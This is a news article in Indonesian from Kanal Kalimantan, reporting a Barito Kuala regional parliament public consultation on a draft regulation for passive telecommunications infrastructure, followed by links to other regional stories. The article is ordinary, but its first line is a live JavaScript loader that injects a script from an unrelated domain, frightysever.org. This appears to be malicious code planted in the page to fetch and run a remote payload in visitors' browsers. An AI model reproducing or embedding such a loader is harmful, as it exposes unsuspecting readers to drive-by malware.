(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN-DPRD Kabupaten Barito Kuala menggelar Uji Publik Rancangan Peraturan Daerah tentang Penataan dan Pengendalian Infrastruktur Pasif Telekomunikasi, Kamis (4/12/2025), di Kantor DPRD Batola.
Kegiatan tersebut dihadiri Tim Perancang Peraturan Perundang-undangan Kantor Wilayah Kemenkum HAM Kalimantan Selatan.
Kepala Bapemperda DPRD Batola, Hendry Dyah Estiningrum, membuka kegiatan sekaligus menjelaskan bahwa Ranperda ini merupakan inisiatif DPRD untuk menjawab persoalan penataan kabel dan infrastruktur telekomunikasi yang selama ini belum tertata dengan baik. Regulasi yang komprehensif dinilai mendesak agar pengelolaan infrastruktur lebih terukur dan terkoordinasi.
Ketua Tim Kerja Fasilitasi Pembentukan Produk Hukum Daerah Kemenkum Kalsel, Bahjatul Mardhiah, menyampaikan bahwa penyusunan Ranperda tersebut merupakan amanat DPRD Batola.
Pihaknya telah menyempurnakan konsep regulasi agar lebih sesuai dengan kebutuhan daerah, khususnya terkait penataan dan pengendalian infrastruktur pasif telekomunikasi.
Tim Perancang Peraturan Perundang-undangan Kemenkum Kalsel kemudian memaparkan substansi Ranperda.
Beberapa persoalan yang menjadi perhatian meliputi belum terkoordinasinya pembangunan infrastruktur telekomunikasi, ketiadaan pengaturan pemanfaatan infrastruktur pasif, serta adanya duplikasi pembangunan yang berdampak pada tata ruang.
Regulasi yang jelas diperlukan untuk memberikan kepastian hukum sekaligus mendukung keteraturan penataan infrastruktur telekomunikasi di daerah.
Dalam sesi diskusi, peserta uji publik termasuk Dinas Komunikasi dan Informatika Kabupaten Batola menyampaikan sejumlah saran dan pertanyaan terkait materi muatan Ranperda.
Seluruh masukan tersebut dicatat dan akan dirumuskan lebih lanjut bersama DPRD sebagai bahan penyempurnaan regulasi.
Kemenkum Kalsel menegaskan komitmen untuk terus mendampingi pemerintah daerah dalam menyusun produk hukum yang berkualitas dan berorientasi pada kepentingan masyarakat.(www.kanalkalimantan.com/hms)
Reporter: hms
Editor: Rdy
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.